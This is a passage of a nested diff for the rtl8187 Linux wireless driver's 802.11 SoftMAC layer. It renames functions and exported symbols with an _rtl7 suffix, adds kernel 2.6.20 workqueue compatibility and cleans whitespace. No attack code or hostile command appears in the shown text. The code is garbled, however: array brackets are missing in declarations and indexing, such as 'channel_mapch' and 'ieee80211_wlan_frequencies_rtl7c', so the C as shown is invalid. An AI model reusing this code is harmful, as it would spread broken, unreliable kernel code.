+ 	 * have just cheked it and we are going to enable scan.
+@@ -1937,41 +1962,49 @@
+ 	 * the rx path), so we cannot be in the middle of such function
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+ 	if (ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan(ieee);
+-	
++		ieee80211_start_scan_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+ /* called only in userspace context */
+-void ieee80211_disassociate(struct ieee80211_device *ieee)
++void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee)
+ {
+ 	netif_carrier_off(ieee->dev);
+-	
++
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE)
+-			ieee80211_reset_queue(ieee);
+-	
++			ieee80211_reset_queue_rtl7(ieee);
++
+ 	if (ieee->data_hard_stop)
+ 			ieee->data_hard_stop(ieee->dev);
+-	
++
+ 	ieee->state = IEEE80211_NOLINK;
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee);
+-	
++	notify_wx_assoc_event_rtl7(ieee);
++
+ }
+-void ieee80211_associate_retry_wq(struct ieee80211_device *ieee)
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_retry_wq_rtl7(struct work_struct *work)
+ {
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq);
++#else
++void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	unsigned long flags;
+-	
++
+ 	down(&ieee->wx_sem);
++
+ 	if(!ieee->proto_started)
+ 		goto exit;
+-		
++
+ 	if(ieee->state != IEEE80211_ASSOCIATING_RETRY)
+ 		goto exit;
+-		
+-	/* until we do not set the state to IEEE80211_NOLINK 
++
++	/* until we do not set the state to IEEE80211_NOLINK
+ 	* there are no possibility to have someone else trying
+ 	* to start an association procdure (we get here with
+ 	* ieee->state = IEEE80211_ASSOCIATING).
+@@ -1981,122 +2014,120 @@
+ 	* RX path works with ieee->lock held so there are no
+ 	* problems. If we are still disassociated then start a scan.
+ 	* the lock here is necessary to ensure no one try to start
+-	* an association procedure when we have just checked the 
++	* an association procedure when we have just checked the
+ 	* state and we are going to start the scan.
+ 	*/
+ 	ieee->state = IEEE80211_NOLINK;
+ 
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if(ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan(ieee);
+-	
++		ieee80211_start_scan_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ 
+ exit:
+ 	up(&ieee->wx_sem);
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee)
+ {
+ 	u8 broadcast_addr = {0xff,0xff,0xff,0xff,0xff,0xff};
+-	
++
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_response *b;
+-	
+-	skb = ieee80211_probe_resp(ieee, broadcast_addr);
+-	
+-	if (!skb) 
++
++	skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	b = (struct ieee80211_probe_response *) skb->data;
+ 	b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON);
+-		
++
+ 	return skb;
+-	
++
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_response *b;
+-	
+-	skb = ieee80211_get_beacon_(ieee);
+-	if(!skb) 
++
++	skb = ieee80211_get_beacon__rtl7(ieee);
++	if(!skb)
+ 		return NULL;
+-		
+-	b = (struct ieee80211_probe_response *) skb->data;	
++
++	b = (struct ieee80211_probe_response *) skb->data;
+ 	b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 	if (ieee->seq_ctrl == 0xFFF)
+ 		ieee->seq_ctrl = 0;
+ 	else
+ 		ieee->seq_ctrl++;
+-	
++
+ 	return skb;
+ }
+ 
+-void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee)
++void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 1;
+ 	down(&ieee->wx_sem);
+-	ieee80211_stop_protocol(ieee);
++
++	ieee80211_stop_protocol_rtl7(ieee);
+ 	up(&ieee->wx_sem);
+ }
+ 
+ 
+-void ieee80211_stop_protocol(struct ieee80211_device *ieee)
++void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (!ieee->proto_started)
+ 		return;
+-	
++
+ 	ieee->proto_started = 0;
+-	
+-	ieee80211_stop_send_beacons(ieee);
+-	
++
++	ieee80211_stop_send_beacons_rtl7(ieee);
++
+ 	del_timer_sync(&ieee->associate_timer);
+-	cancel_delayed_work(&ieee->associate_retry_wq);	
+-	
+-	ieee80211_stop_scan(ieee);
++	cancel_delayed_work(&ieee->associate_retry_wq);
+ 
+-	ieee80211_disassociate(ieee);
++	ieee80211_stop_scan_rtl7(ieee);
++
++	ieee80211_disassociate_rtl7(ieee);
+ }
+ 
+-void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee)
++void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 0;
+ 	down(&ieee->wx_sem);
+-	ieee80211_start_protocol(ieee);
++	ieee80211_start_protocol_rtl7(ieee);
+ 	up(&ieee->wx_sem);
+ }
+ 
+-void ieee80211_start_protocol(struct ieee80211_device *ieee)
++void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	short ch = 0;
+-	
+ 	if (ieee->proto_started)
+ 		return;
+-		
++
+ 	ieee->proto_started = 1;
+-	
++
+ 	if (ieee->current_network.channel == 0){
+ 		do{
+ 			ch++;
+-			if (ch > MAX_CHANNEL_NUMBER) 
++			if (ch > MAX_CHANNEL_NUMBER)
+ 				return; /* no channel found */
+-				
++
+ 		}while(!ieee->channel_mapch);
+-		
++
+ 		ieee->current_network.channel = ch;
+ 	}
+-	
++
+ 	if (ieee->current_network.beacon_interval == 0)
+ 		ieee->current_network.beacon_interval = 100;
+-	
+ 	ieee->set_chan(ieee->dev,ieee->current_network.channel);
+-	
+ 	ieee->last_seq_num = -1;
+ 	ieee->last_frag_num = -1;
+ 	ieee->last_packet_time = 0;
+@@ -2107,30 +2138,27 @@
+ 	 * attempts does not fail just because the user provide the essid
+ 	 * and the nic is still checking for the AP MAC ??
+ 	 */
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_INFRA)
+-		ieee80211_start_bss(ieee);
+-		
++		ieee80211_start_bss_rtl7(ieee);
+ 	else if (ieee->iw_mode == IW_MODE_ADHOC)
+-		ieee80211_start_ibss(ieee);
+-		
++		ieee80211_start_ibss_rtl7(ieee);
+ 	else if (ieee->iw_mode == IW_MODE_MASTER)
+-		ieee80211_start_master_bss(ieee);
+-		
++		ieee80211_start_master_bss_rtl7(ieee);
+ 	else if(ieee->iw_mode == IW_MODE_MONITOR)
+-		ieee80211_start_monitor_mode(ieee);	
++		ieee80211_start_monitor_mode_rtl7(ieee);
+ }
+ 
+ 
+ #define DRV_NAME  "Ieee80211"
+-void ieee80211_softmac_init(struct ieee80211_device *ieee)
++void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee)
+ {
+ 	memset(&ieee->current_network, 0, sizeof(struct ieee80211_network));
+-	
++
+ 	ieee->state = IEEE80211_NOLINK;
+ 	ieee->sync_scan_hurryup = 0;
+ 	ieee->seq_ctrl = 0;
+-	
++
+ 	ieee->assoc_id = 0;
+ 	ieee->queue_stop = 0;
+ 	ieee->scanning = 0;
+@@ -2142,66 +2170,75 @@
+ 	ieee->rate = 3;
+ 	ieee->ps = IEEE80211_PS_DISABLED;
+ 	ieee->sta_sleep = 0;
+-	
+-	init_mgmt_queue(ieee);
++
++	init_mgmt_queue_rtl7(ieee);
+ #if 0
+ 	init_timer(&ieee->scan_timer);
+ 	ieee->scan_timer.data = (unsigned long)ieee;
+ 	ieee->scan_timer.function = ieee80211_softmac_scan_cb;
+ #endif
+ 	ieee->tx_pending.txb = NULL;
+-	
++
+ 	init_timer(&ieee->associate_timer);
+ 	ieee->associate_timer.data = (unsigned long)ieee;
+-	ieee->associate_timer.function = ieee80211_associate_abort_cb;
++	ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7;
+ 
+ 	init_timer(&ieee->beacon_timer);
+ 	ieee->beacon_timer.data = (unsigned long) ieee;
+-	ieee->beacon_timer.function = ieee80211_send_beacon_cb;
+-	
++	ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7;
++
+ #ifdef PF_SYNCTHREAD
+ 	ieee->wq = create_workqueue(DRV_NAME,0);
+-#else	
++#else
+ 	ieee->wq = create_workqueue(DRV_NAME);
+ #endif
+-	
+-	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee);
+-	INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee);
+-	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee);
+-	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee);
+-	INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee);
+-	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee);
+-	
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee);
++	INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee);
++	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee);
++#else
++	INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7);
++	INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7);
++	INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7);
++	INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7);
++	INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7);
++	INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7);
++#endif
++
+ 	sema_init(&ieee->wx_sem, 1);
+ 	sema_init(&ieee->scan_sem, 1);
+-	
++
+ 	spin_lock_init(&ieee->mgmt_tx_lock);
+ 	spin_lock_init(&ieee->beacon_lock);
+-	
++
+ 	tasklet_init(&ieee->ps_task,
+-	     (void(*)(unsigned long)) ieee80211_sta_ps,
++	     (void(*)(unsigned long)) ieee80211_sta_ps_rtl7,
+ 	     (unsigned long)ieee);
+ 
+ }
+ 
+-void ieee80211_softmac_free(struct ieee80211_device *ieee)
++void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee)
+ {
+ 	down(&ieee->wx_sem);
+-	
++
+ 	del_timer_sync(&ieee->associate_timer);
+ 	cancel_delayed_work(&ieee->associate_retry_wq);
+ 	destroy_workqueue(ieee->wq);
+-	
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-/******************************************************** 
++/********************************************************
+  * Start of WPA code.                                   *
+  * this is stolen from the ipw2200 driver               *
+  ********************************************************/
+ 
+- 
+-static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value)
++
++static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value)
+ {
+ 	/* This is called when wpa_supplicant loads and closes the driver
+ 	 * interface. */
+@@ -2210,19 +2247,19 @@
+ 	return 0;
+ }
+ 
+- 
+-void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len)
++
++void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len)
+ {
+ 	/* make sure WPA is enabled */
+-	ieee80211_wpa_enable(ieee, 1);
++	ieee80211_wpa_enable_rtl7(ieee, 1);
+ 
+-	ieee80211_disassociate(ieee);
++	ieee80211_disassociate_rtl7(ieee);
+ }
+ 
+ 
+-static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason)
++static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason)
+ {
+-	
++
+ 	int ret = 0;
+ 
+ 	switch (command) {
+@@ -2231,7 +2268,7 @@
+ 		break;
+ 
+ 	case IEEE_MLME_STA_DISASSOC:
+-		ieee80211_disassociate(ieee);
++		ieee80211_disassociate_rtl7(ieee);
+ 		break;
+ 
+ 	default:
+@@ -2243,7 +2280,7 @@
+ }
+ 
+ 
+-static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee,
++static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee,
+ 			      struct ieee_param *param, int plen)
+ {
+ 	u8 *buf;
+@@ -2267,16 +2304,16 @@
+ 		ieee->wpa_ie_len = 0;
+ 	}
+ 
+-	ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len);
++	ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len);
+ 	return 0;
+ }
+ 
+ #define AUTH_ALG_OPEN_SYSTEM			0x1
+ #define AUTH_ALG_SHARED_KEY			0x2
+ 
+-static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value)
++static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value)
+ {
+-	
++
+ 	struct ieee80211_security sec = {
+ 		.flags = SEC_AUTH_MODE,
+ 	};
+@@ -2300,13 +2337,13 @@
+ 
+ 
+ 
+-static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value)
++static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value)
+ {
+ 	int ret=0;
+ 
+ 	switch (name) {
+ 	case IEEE_PARAM_WPA_ENABLED:
+-		ret = ieee80211_wpa_enable(ieee, value);
++		ret = ieee80211_wpa_enable_rtl7(ieee, value);
+ 		break;
+ 
+ 	case IEEE_PARAM_TKIP_COUNTERMEASURES:
+@@ -2351,7 +2388,7 @@
+ 		break;
+ 
+ 	case IEEE_PARAM_AUTH_ALGS:
+-		ret = ieee80211_wpa_set_auth_algs(ieee, value);
++		ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value);
+ 		break;
+ 
+ 	case IEEE_PARAM_IEEE_802_1X:
+@@ -2368,11 +2405,11 @@
+ 
+ /* implementation borrowed from hostap driver */
+ 
+-static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee,
++static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee,
+ 				  struct ieee_param *param, int param_len)
+ {
+ 	int ret = 0;
+-	
++
+ 	struct ieee80211_crypto_ops *ops;
+ 	struct ieee80211_crypt_data **crypt;
+ 
+@@ -2407,7 +2444,7 @@
+ 			//sec.encrypt = 0;
+ 			sec.level = SEC_LEVEL_0;
+ 			sec.flags |= SEC_ENABLED | SEC_LEVEL;
+-			ieee80211_crypt_delayed_deinit(ieee, crypt);
++			ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 		}
+ 		goto done;
+ 	}
+@@ -2421,16 +2458,16 @@
+ 	    strcmp(param->u.crypt.alg, "TKIP"))
+ 		goto skip_host_crypt;
+ 
+-	ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++	ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) {
+-		request_module("ieee80211_crypt_wep");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_wep_rtl");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	} else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) {
+-		request_module("ieee80211_crypt_tkip");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_tkip_rtl");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	} else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) {
+-		request_module("ieee80211_crypt_ccmp");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_ccmp_rtl");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	}
+ 	if (ops == NULL) {
+ 		printk("unknown crypto alg '%s'\n", param->u.crypt.alg);
+@@ -2442,7 +2479,7 @@
+ 	if (*crypt == NULL || (*crypt)->ops != ops) {
+ 		struct ieee80211_crypt_data *new_crypt;
+ 
+-		ieee80211_crypt_delayed_deinit(ieee, crypt);
++		ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 
+ 		new_crypt = (struct ieee80211_crypt_data *)
+ 			kmalloc(sizeof(*new_crypt), GFP_KERNEL);
+@@ -2525,7 +2562,7 @@
+ 
+ 
+ 
+-int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p)
++int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p)
+ {
+ 	struct ieee_param *param;
+ 	int ret=0;
+@@ -2537,7 +2574,7 @@
+ 		ret = -EINVAL;
+ 		goto out;
+ 	}
+-	
++
+ 	param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL);
+ 	if (param == NULL){
+ 		ret = -ENOMEM;
+@@ -2552,20 +2589,20 @@
+ 	switch (param->cmd) {
+ 
+ 	case IEEE_CMD_SET_WPA_PARAM:
+-		ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name,
++		ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name,
+ 					param->u.wpa_param.value);
+ 		break;
+ 
+ 	case IEEE_CMD_SET_WPA_IE:
+-		ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length);
++		ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length);
+ 		break;
+ 
+ 	case IEEE_CMD_SET_ENCRYPTION:
+-		ret = ieee80211_wpa_set_encryption(ieee, param, p->length);
++		ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length);
+ 		break;
+ 
+ 	case IEEE_CMD_MLME:
+-		ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command,
++		ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command,
+ 				   param->u.mlme.reason_code);
+ 		break;
+ 
+@@ -2581,11 +2618,11 @@
+ 	kfree(param);
+ out:
+ 	up(&ieee->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+-void notify_wx_assoc_event(struct ieee80211_device *ieee)
++void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee)
+ {
+ 	union iwreq_data wrqu;
+ 	wrqu.ap_addr.sa_family = ARPHRD_ETHER;
+@@ -2597,14 +2634,14 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_get_beacon);
+-EXPORT_SYMBOL(ieee80211_wake_queue);
+-EXPORT_SYMBOL(ieee80211_stop_queue);
+-EXPORT_SYMBOL(ieee80211_reset_queue);
+-EXPORT_SYMBOL(ieee80211_softmac_stop_protocol);
+-EXPORT_SYMBOL(ieee80211_softmac_start_protocol);
+-EXPORT_SYMBOL(ieee80211_is_shortslot);
+-EXPORT_SYMBOL(ieee80211_is_54g);
+-EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl);
+-EXPORT_SYMBOL(ieee80211_ps_tx_ack);
+-//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame);
++EXPORT_SYMBOL(ieee80211_get_beacon_rtl7);
++EXPORT_SYMBOL(ieee80211_wake_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_stop_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_reset_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7);
++EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7);
++EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7);
++EXPORT_SYMBOL(ieee80211_is_54g_rtl7);
++EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7);
++EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7);
++//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c	2007-06-08 23:30:47.000000000 +0200
+@@ -1,7 +1,7 @@
+ /* IEEE 802.11 SoftMAC layer
+  * Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+  *
+- * Mostly extracted from the rtl8180-sa2400 driver for the 
++ * Mostly extracted from the rtl8180-sa2400 driver for the
+  * in-kernel generic ieee802.11 stack.
+  *
+  * Some pieces of code might be stolen from ipw2100 driver
+@@ -18,23 +18,23 @@
+ 
+ /* FIXME: add A freqs */
+ 
+-const long ieee80211_wlan_frequencies = {  
+-	2412, 2417, 2422, 2427, 
+-	2432, 2437, 2442, 2447, 
+-	2452, 2457, 2462, 2467, 
+-	2472, 2484  
++const long ieee80211_wlan_frequencies_rtl7 = {
++	2412, 2417, 2422, 2427,
++	2432, 2437, 2442, 2447,
++	2452, 2457, 2462, 2467,
++	2472, 2484
+ };
+ 
+ 
+-int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+ 	struct iw_freq *fwrq = & wrqu->freq;
+ 
+ 	down(&ieee->wx_sem);
+-	
+-	if(ieee->iw_mode == IW_MODE_INFRA){ 
++
++	if(ieee->iw_mode == IW_MODE_INFRA){
+ 		ret = -EOPNOTSUPP;
+ 		goto out;
+ 	}
+@@ -45,31 +45,31 @@
+ 		     fwrq->m <= (int) 2.487e8)) {
+ 			int f = fwrq->m / 100000;
+ 			int c = 0;
+-			
+-			while ((c < 14) && (f != ieee80211_wlan_frequenciesc))
++
++			while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7c))
+ 				c++;
+-			
++
+ 			/* hack to fall through */
+ 			fwrq->e = 0;
+ 			fwrq->m = c + 1;
+ 		}
+ 	}
+-	
+-	if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ 
++
++	if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){
+ 		ret = -EOPNOTSUPP;
+ 		goto out;
+-	
++
+ 	}else { /* Set the channel */
+-		
+-		
++
++
+ 		ieee->current_network.channel = fwrq->m;
+ 		ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-		
++
+ 		if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER)
+ 			if(ieee->state == IEEE80211_LINKED){
+-			
+-			ieee80211_stop_send_beacons(ieee);
+-			ieee80211_start_send_beacons(ieee);
++
++			ieee80211_stop_send_beacons_rtl7(ieee);
++			ieee80211_start_send_beacons_rtl7(ieee);
+ 			}
+ 	}
+ 
+@@ -80,7 +80,7 @@
+ }
+ 
+ 
+-int ieee80211_wx_get_freq(struct ieee80211_device *ieee,
++int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee,
+ 			     struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+@@ -88,110 +88,110 @@
+ 
+ 	if (ieee->current_network.channel == 0)
+ 		return -1;
+-	
++
+ 	fwrq->m = ieee->current_network.channel;
+ 	fwrq->e = 0;
+-	
++
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
+-			    struct iw_request_info *info, 
++int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *extra)
+ {
+-	unsigned long flags;	
+-	
++	unsigned long flags;
++
+ 	wrqu->ap_addr.sa_family = ARPHRD_ETHER;
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR)
+ 		return -1;
+-	
++
+ 	/* We want avoid to give to the user inconsistent infos*/
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+-	if (ieee->state != IEEE80211_LINKED && 
++
++	if (ieee->state != IEEE80211_LINKED &&
+ 		ieee->state != IEEE80211_LINKED_SCANNING &&
+ 		ieee->wap_set == 0)
+-		
++
+ 		memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN);
+ 	else
+-		memcpy(wrqu->ap_addr.sa_data, 
++		memcpy(wrqu->ap_addr.sa_data,
+ 		       ieee->current_network.bssid, ETH_ALEN);
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	return 0;
+ }
+ 
+ 
+-int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra)
+ {
+-	
++
+ 	int ret = 0;
+ 	u8 zero = {0,0,0,0,0,0};
+ 	unsigned long flags;
+-	
++
++	struct sockaddr *temp = NULL;
+ 	short ifup = ieee->proto_started;//dev->flags & IFF_UP;
+-	
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	struct sockaddr *temp = (struct sockaddr *)awrq;
+-	
++
++	temp = (struct sockaddr *)awrq;
+ 	/* use ifconfig hw ether */
+ 	if (ieee->iw_mode == IW_MODE_MASTER){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if (temp->sa_family != ARPHRD_ETHER){
+ 		ret = -EINVAL;
+ 		goto out;
+ 	}
+-	
++
+ 	if (ifup)
+-		ieee80211_stop_protocol(ieee);
+-	
++		ieee80211_stop_protocol_rtl7(ieee);
++
+ 	/* just to avoid to give inconsistent infos in the
+-	 * get wx method. not really needed otherwise 
++	 * get wx method. not really needed otherwise
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+-	memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); 
++
++	memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN);
+ 	ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0;
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	if (ifup)
+-		ieee80211_start_protocol(ieee);
+-	
++		ieee80211_start_protocol_rtl7(ieee);
++
+ out:
+ 	up(&ieee->wx_sem);
+ 	return ret;
+ }
+-	
+- int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b)
++
++ int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b)
+ {
+ 	int len,ret = 0;
+ 	unsigned long flags;
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR)
+ 		return -1;
+-	
+-	/* We want avoid to give to the user inconsistent infos*/	
++
++	/* We want avoid to give to the user inconsistent infos*/
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (ieee->current_network.ssid0 == '\0' ||
+-		ieee->current_network.ssid_len == 0){ 
++		ieee->current_network.ssid_len == 0){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
+-	if (ieee->state != IEEE80211_LINKED && 
++
++	if (ieee->state != IEEE80211_LINKED &&
+ 		ieee->state != IEEE80211_LINKED_SCANNING &&
+ 		ieee->ssid_set == 0){
+ 		ret = -1;
+@@ -204,59 +204,76 @@
+ 
+ out:
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	return ret;
+-	
++
+ }
+ 
+-int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee,
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 
+ 	u32 target_rate = wrqu->bitrate.value;
+-	
++
+ 	ieee->rate = target_rate/100000;
+ 	//FIXME: we might want to limit rate also in management protocols.
+-	return 0; 
++	return 0;
+ }
+ 
+ 
+ 
+-int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
+-			     struct iw_request_info *info, 
++int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	
++
